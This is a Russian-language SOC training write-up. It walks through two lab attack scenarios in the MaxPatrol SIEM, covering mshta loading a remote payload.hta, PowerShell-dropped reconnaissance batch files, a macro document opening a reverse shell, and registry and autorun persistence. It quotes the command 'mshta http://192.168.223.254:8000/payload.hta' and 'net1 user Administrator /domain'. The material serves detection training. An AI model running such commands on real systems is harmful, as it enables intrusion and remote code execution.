# MaxPatrol. Разбор Заданий №0 и №1 Термины: **LoLBin** - это любой двоичный файл, предоставляемый операционной системой, который обычно используется в законных целях, но также может быть использован злоумышленниками. # Типовые запросы к Siem: ## Хостовые события Windows **События успешной аутентификации Windows** event_src.title="windows" and msgid="4624" **События Kerberos аутентификации (запросы TGT и TGS)** event_src.title="windows" and (msgid="4768" or msgid="4769") **События неуспешной аутентификации Windows** event_src.title="windows" and msgid="4625" **События запуска процессов Windows** event_src.title="windows" and msgid="4688" **События запуска командных интерпретаторов Windows** event_src.title="windows" and msgid="4688" and body contains "powershell.exe" event_src.title="windows" and msgid="4688" and body contains "cmd.exe" **События запуска служб Windows** event_src.title="windows" and msgid="7045" **События запуска задач планировщика** event_src.title="windows" and msgid="4698" **События создания служб Windows** event_src.title="windows" and msgid="4697" **События запросов на репликацию каталога Active Directory** event_src.title="windows" and msgid="4662" and body contains "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" **События изменений компьютерной учетной записи, в том числе сброс пароля** event_src.title="windows" and msgid="4742" **События остановки служб Windows** event_src.title="windows" and msgid="7036" **События очистки журнала безопасности Windows** event_src.title="windows" and msgid="1102" **Событие назначения специальных привелегий при входе в систему** event_src.title="windows" and msgid="4672" **С фильтром по узлу:** event_src.title="windows" and event_src.hostname="имя узла" **С фильтром по учетной записи:** event_src.title="windows" and subject.name="имя учетной записи(без указания домена)" ## Сетевые события **События сетевого сканирования** event_src.title="nad" and body contains "Scan" **События брутфорса учетных записей** event_src.title="nad" and body contains "Login Request" event_src.title="nad" and body contains "Brute" **События попыток эксплуатации уязвимостей** event_src.title="nad" and body contains "CVE-" event_src.title="nad" and body contains "Exploit" **События проведения атак** event_src.title="nad" and body contains "Attack" ## События Sysmon **Запуск процессов Sysmon** event_src.title = "sysmon" and msgid = "1" **Успешная установка соединения Sysmon** event_src.title = "sysmon" and msgid = "3" # Начало С чего начинается анализ трафика? 1. Фильтр по хосту. В нашей практике нам необходимо указать, что узел источника событий - wks05.ceberdyne.com Для этого используем такой фильтр: * ``event_src_host = "wks05.cyberdyne.com"`` 2. Отфильтровать все корреляционные события, то есть посмотреть все события, которые по каким-то параметрам были нелегитимны. Для этого в графе фильтр вводим используем фильтр: * `correlation_name` Так же у нас есть возможность группировать наши события по какому-то параметру(у нас это correlation_name): ![](https://i.imgur.com/n67prpv.png) Тогда наши события в системе будут выглядеть следующим образом: ![](https://i.imgur.com/KYHdiak.png) В нашем случае делать это мы не будем. Мы сделаем фильтр по времени, чтобы сверху отображались наиболее старые события. Делается это в следующем разделе: ![](https://i.imgur.com/Sl8W20k.png) # 1 Этап атаки ### Первое событие: **desktop.ini** - файл «desktop.ini» представляет собой скрытый файл настроек конфигурации в операционной системе «Windows», расположенный в каждой папке. Он непосредственно определяет, как будет отображаться папка, а также ее другие свойства – например, вид значка (иконки), используемый для этой папки, ее локализованное имя, приоритетные свойства совместного доступа, цвет текста, наличие фонового рисунка и т.д. :::success Данное событие не является атакой ::: ### Второе событие ![](https://i.imgur.com/F00SRqy.png) К сожалению, в нашей системе есть только информация о названии файла, который был признан потенциально вредоносным, и в какой папке он был создан. Мы видим, что файл создался в папке *\inetcache\*. Это напрямую связано с особенностями утилиты mshta. При загрузке с внешних ресурсов она кэширует эти ресурсы. :::danger Данное событие относится к нашей атаке ::: ### Третье событие: Тут мы уже видим информацию о родительском процессе(cmd.exe), какая команда была запущена в командной строке(mshta http://192.168.223.254:8000/payload.hta) Следующая корреляция: ![](https://i.imgur.com/neFTH7F.png) **Suspicious_process_execution_sequence** - такую корреляцию вызывает какая-то показавшаяся подозрительной цепочка процессов с не стандартным родителем или связкой родитель-дочерний процесс. Давайте посмотрим на код этой корреляции. Для этого нажимаем на следующий пункт: ![](https://i.imgur.com/yu2YTTV.png) Перед нами открывается такая картина: ![](https://i.imgur.com/gz6KCWM.png) Тут мы видим, что: * Фильтруется запуск процессов виндоус * Проверяется, что путь родительского процесса не равен пути дочернего и делается запрос к табличному списку "Parent child process" Запрос делается следующим образом: * Ищется родительский процесс в нем и проверяется, что порожденный процесс либо является не разрешенным, либо является запрещенным. Структура этого списка: * В родительском процессе перечислены lolbin процессы, браузеры, lsas, winlogon и прочие. У них есть колонка forbidden_child. В ней записаны дочерние процессы, которые будут являться при создании не легитимными. * В колонке allowed_child записаны процессы, которые при создании будут являться легитимными. * Символ ^$ означает, что все поражденные процессы следует считать не легитимными. Вернемся к нашей корреляции. Тут стоит понимать, что калькулятор не должен пораждать никаких процессов, поэтому данное событие вылилось в корреляцию. :::danger Данное событие является частью атаки ::: ### Четвертое событие ![](https://i.imgur.com/HSS3O8X.png) Мы видим, что как раз mshta.exe и породил calc.exe. Давайте посмотрим на исходное событие, на которое сработала корреляция: :::info Важно смотреть не только на корреляционные события, но и на исходные этих событий, так как в корреляции может показываться не вся информация. ::: Чтобы убедиться в том, что у нас calc.exe породил именно payload.hta, нам стоит спустится на одну корреляцию ниже: ![](https://i.imgur.com/Ge1cyaN.png) Тут мы видим командную строку родительского процесса и понимаем, что payload.hta инициировал запуск процесса calc.exe Здесь все просто, и никаких payload или exploit в данном приложении нет. Это просто калькулятор. Сделано это было для того, чтобы обратить внимание и показать, как это может происходить, так как в реальной ситуации это будет не calc.exe, а, к примеру, какой-то вредоносный скрипт. Поэтому очень важно обращать внимание на родительские процессы в виде LoLBin утилит. :::danger Данное событие относится к нашей атаке ::: # 2 Этап атаки ### Первое событие Начинается он в 17:06:22. Тут мы видим следующую корреляцию: ![](https://i.imgur.com/SrCwARB.png) Здесь сработала корреляция **Execute_Malicious_Command** - выполнение вредоносного кода. Когда вы видите запуск какого-то подозрительного процесса, внимательно анализируйте командную строку на предмет обнаружения дополнительной информации. Как пример - какие-то url ссылки, ip адреса, логины, пароли, обращение к реестру, название папок и файлов и прочее. То есть ту информацию, которую можно взять в качестве индикатора компроментации, а так же в качестве основы для дальнейшего исследования. В нескольких следующих корреляциях все то же самое :::danger Данное событие относится к нашей атаке ::: ### Второе событие Следующая корреляция: ![](https://i.imgur.com/QFHOMtq.png) Данное событие не имеет прямого отношения к атаке. Это не вредоносный скрипт. Данный скрипт создается самим PowerShell для проверки AppLocker, включен он или нет. :::success Данное событие не является частью атаки ::: ### Третье событие Следующая интересная корреляция, связанная с созданием файлов 1.bat и 2.bat: ![](https://i.imgur.com/l2GkcvP.png) **Remote_Creation_Suspicious_File** - удаленное создание подозрительного файла. Посмотрим на его корреляцию: Тут мы видим два ивента - первый это запуск какого-то процесса А второй - это поиск известных расширений, характерных артефактов и прочее. На основе предположений и потенциально нелегитимных расширений, артефактов или путях выносится решение, является ли данный файл потенциально вредоносным. Мы видим, что файлы 1.bat и 2.bat создал PowerShell, видим в какой папке... И на этом все. Интуитивно можно предположить, что эти файлы появились в результате исполнения вредоносного скрипта, но нам необходимо точно убедиться в этом. Для этого используем фильтры для фильтрации дочерних процессов. Чтобы исследовать, для кого исследуемый процесс является родительским, надо взять его object.id и подставить в datafield2: ![](https://i.imgur.com/yJQatDI.png) В нашем случае мы немного этот фильтр перевернем. Мы из datafield2 подставим значение в object.id и отфильтруем события. Так мы понимаем, что 1.bat и 2.bat это действительно результат работы PowerShell. Что же будет происходить дальше? :::danger Данное событие относится к нашей атаке ::: ### Четвертое событие Следующая корреляция: ![](https://i.imgur.com/vP6a8S9.png) Видим, что она отработала на такую команду в командной строке: `C:\Windows\system32\net1 user Administrator /domain` Это типичная команда разведки. После этого события проходит еще множество разных команд для разведки. Так как эти корреляции приходили с разницой, буквально, в секунду, предполагаем, что у нас на хосте идет автоматизированная разведка. Логически можно предположить, что эта активность происходит вследствии работы 1.bat или 2.bat. Опять таки, нам необходимо это проверить. Аналогично возьмем из нашего процесса datafield значение и подставим его в object.id Проверив первый процесс(nat1.exe) увидим, что он пораждается процессом nat.exe ![](https://i.imgur.com/Pso3Bal.png) Проверив его увидим, что родительский процесс - PowerShell, который создал файлик 1.bat, который в свою очередь порадил процесс nat.exe ![](https://i.imgur.com/i9hyXsE.png) Такую операцию мы можем проделывать со всеми командами разведки и убедиться, что они действительно исходят из одного источника. Из чего можно сделать вывод, что файлик 1.bat содержит просто набор команд для автоматизации разведки. И правда, вот его содержимое(часть команд): ![](https://i.imgur.com/jreSdwo.png) :::danger Данное событие относится к нашей атаке ::: # Итоги по заданию №0: 1. Злоумышленник попал на хост 2. Запустил mshta.exe, который подгружался из внешнего сервера и запускал calc.exe 3. Запускал из командной строки PowerShell скрипт, который подгружает с того же внешенего сервера файл ps1, то есть другой PowerShell скрипт. Он же, в свою очередь, в директории создает два bat файла. 4. Запускается файл 1.bat и происходит автоматизированная разведка **Что можно было дополнительно(незапланировано) найти во время анализа** 1. Осуществлен вход по RDP с хоста. Если бы это была реальная SIEM-система, мы бы фильтровали: * Входы через VPN с нестандартных адресов * Входы по RDP с нестандартных адресов * Сбор IP адресов и выяснение тому, кому эти адреса принадлежат :::info Если есть какие-то подозрения, что учетная запись скомпроментирована, и мы эти подозрения подтвердили - необходимо искать с каких адресов были входы в данную учетную запись. Так же полезно было бы смотреть неуспешные попытки входа и подключения. ::: ### Ошибки при составлении отчетов: Некоторые пишут, что ps.policy.script - нелегитимный скрипт В случаях, когда есть подозрения легитимна активность или нет - можно посмотреть историю запусков, чтобы понимать, если у данного пользователя регулярно запускаются какие-то процессы часто, то, скорее всего, данный процесс легитимен. По хорошему необходимо связаться с пользователем и узнать, зачем он его запускал. Таким образом можно подтверждать или опровергать легитимность Некоторые писали про resolve вредоносных адресов. По схожему сценарию посмотреть вредоносная активность или нет. # Задание 1 ### Первое событие Данный процесс связан с успешно установленной сессией metasploit. В данном случае он внедрился в svthost.exe ![](https://i.imgur.com/K3z20Ma.png) Видим закодированную команду PowerShell Если видим в запросе какую-то обфускацию или закодированные команды, то это 99% предупреждение, на которое необходимо обратить внимание. :::warning Все гипотезы необходимо подтверждать! ::: :::danger Данное событие относится к нашей атаке ::: ### Второе событие В следующей корреляции мы видим, что был запущен Doc1.docm, причем пользователь разрешил выполнение макросов, так как по умолчанию такая функция отключена. ![](https://i.imgur.com/v7Thbpi.png) Более того, мы видим закодированную несколько раз команду. По-хорошему ее необходимо декодировать. Декодируем и получаем: ![](https://i.imgur.com/1qU099t.png) Мы понимаем, что это shell-код, который пробрасывает reverse-shell. После того, как reverse-shell пробросился, мы видим команды типа ifconfig и понимаем, что злоумышленник подключился и производит базовую разведку. :::danger Данное событие относится к нашей атаке ::: ### Третье событие: Следующая корреляция: ![](https://i.imgur.com/OH7xaCJ.png) **Windows_Autorun_Modification** - изменения в параметрах автозапуска. Делаем вывод, что злоумышленник закрепляется в системе путем обеспечивания себе постоянного доступа к системе с помощью параметров автозапуска windows. :::danger Данное событие относится к нашей атаке ::: ### Четвертое событие: Аналогично с предыдущим, только закрепляется уже в реестре Немного не корректно образовался alert. Это значит, что злоумышленник закрепился в системе не только с помощью автозапуска, но и с помощью ключей реестра. :::danger Данное событие относится к нашей атаке ::: ### Пятое событие: ![](https://i.imgur.com/Kbm02xB.png) **Remote_File_Download_Via_Certutil** - подкачивание файла со стороннего сервера через Certutil. Дальше с этим ничего не происходит, только демонстрация того, как злоумышленник может докачивать файлы после закрепления в системе. :::danger Данное событие относится к нашей атаке ::: ### Шестое событие ![](https://i.imgur.com/ihF9ZC4.png) **sysmon_startup.bat** - это просто раскатка политики sysmon. Более того, пользователь, который запускает этот файлик - машинная учетная запись. Поэтому это легитимный процесс. :::success Данное событие не является частью атаки ::: ### Седьмое событие При каждом запуске системы будет запускаться файлик, который будет обеспечивать нам наш Reverse-Shell :::danger Данное событие относится к нашей атаке ::: # Итоги по заданию №1: 1. Запуск вредоносного Word файла доверчивым пользователем 2. Пользователь разрешил макросы 3. С помощью макроса успешно прокинут ReverseShell и успешно установлена сессия 4. Злоумышленник смог провести базовую разведку на хосте 5. Злоумышленник смог закрепиться на хосте с помощью ключей реестра и модификации сервиса. # Реагирование на подобные инциденты 1. Блокируем учетную запись с обязательной сменой пароля и разрывом всех сессий 2. Изолируем скомпроментированный хост 3. Блокируем все вредоносные URL и IP адреса 4. Собираем артефакты и индикаторы компроментации всех обнаруженных и нелегитимных файлов 5. Делаем дамп системы и отдаем его форензикам. 1. Полное очищение систем от вредоносов. 8. Возвращаем хост в сеть и разблокировать скомпроментированную учетную запись. 9. Поиск аналогичных следов на других хостах. # Отличие sysmon msgid 3 от windows filtering platform id 5156 sysmon msgid 3 - логирует установленные успешные соединения windows filtering platform id 5156 логирует попытку установления соединения # Дополнительный материал: [Дополнительные сведения о MaxPatrol](https://www.anti-malware.ru/reviews/MaxPatrol_SIEM)